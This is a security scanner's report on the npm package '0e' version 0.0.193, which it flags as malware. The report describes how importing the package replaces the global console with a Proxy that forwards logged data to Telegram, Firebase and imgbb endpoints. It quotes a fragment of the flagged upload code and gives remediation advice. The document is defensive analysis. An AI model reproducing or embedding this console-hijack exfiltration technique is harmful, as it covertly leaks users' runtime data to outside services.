0e
This report shows the evidence for 0e@0.0.193. 20 of 20 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiSource inspection confirms import-time global console hijacking with outbound forwarding of runtime values to attacker-controlled external services. The lack of install hooks lowers trigger breadth but does not mitigate the malicious behavior in the default entrypoint.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Importing 0e/index.js, then calling console.error, console.info, console.warn, console.dir, or console.ibb.
Impact
Unconsented disclosure of logged runtime data to external Telegram/Firebase/imgbb endpoints.
Mechanism
global console Proxy exfiltration
Attack narrative
A consumer importing the package loads index.js as the main entrypoint. The module immediately replaces global console with a Proxy. Calls to console.warn/info/error serialize their arguments and send them to Telegram; console.dir PUTs JSON to Firebase; console.ibb uploads supplied image data to imgbb. This is not package-aligned functionality and creates a covert data exfiltration channel from host applications.
AI rationale
Source inspection confirms import-time global console hijacking with outbound forwarding of runtime values to attacker-controlled external services. The lack of install hooks lowers trigger breadth but does not mitigate the malicious behavior in the default entrypoint.
Evidence
package.jsonindex.jstest.jsindex.html
Network endpoints3
api.imgbb.com/1/uploadiiilll.firebaseio.com/*.jsonapi.telegram.org/bot*/sendMessage
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json main is index.js, so import reaches index.js by default.
- index.js:37 replaces global console with a Proxy at module load.
- index.js:42-75 intercepts console.error/info/warn/dir/ibb arguments and sends them externally.
- index.js:52-55 PUTs console.dir data to Firebase.
- index.js:75-78 sends intercepted console text to Telegram.
- index.js:16-21 uploads console.ibb input to imgbb.
Evidence against
- No package.json install/preinstall/postinstall lifecycle hooks.
- No child_process, filesystem traversal, native binary loading, or persistence found.
- Behavior is triggered by import plus selected console method calls, not install alone.
Behavioral surface
Network
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
3 flagged · loading sourceindex.jsView file
15formBody = formBody.join("&");
L16: return fetch(`https://api.imgbb.com/1/upload?key=[redacted]`, {
L17: method: 'POST',
...
L20: },
L21: body: formBody
L22: }).then(r => r.json()).then(r => r.data).then(r => {
L23: r = {
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
index.jsView on unpkg · L1515formBody = formBody.join("&");
L16: return fetch(`https://api.imgbb.com/1/upload?key=[redacted]`, {
L17: method: 'POST',
...
L20: },
L21: body: formBody
L22: }).then(r => r.json()).then(r => r.data).then(r => {
L23: r = {
Critical
Global Object Hijack Exfiltration
Source reassigns a global/builtin to a Proxy that forwards intercepted runtime data to an external endpoint.
index.jsView on unpkg · L1515Trigger-reachable chain: manifest.main -> index.js
L15: formBody = formBody.join("&");
L16: return fetch(`https://api.imgbb.com/1/upload?key=[redacted]`, {
L17: method: 'POST',
...
L20: },
L21: body: formBody
L22: }).then(r => r.json()).then(r => r.data).then(r => {
L23: r = {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
Findings
3 Critical2 Medium4 Low
CriticalCredential Exfiltrationindex.js
CriticalGlobal Object Hijack Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to 0e@0.0.193.
The versions list below shows the verdict for each recorded version.
- Avoid installing 0e@0.0.193. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.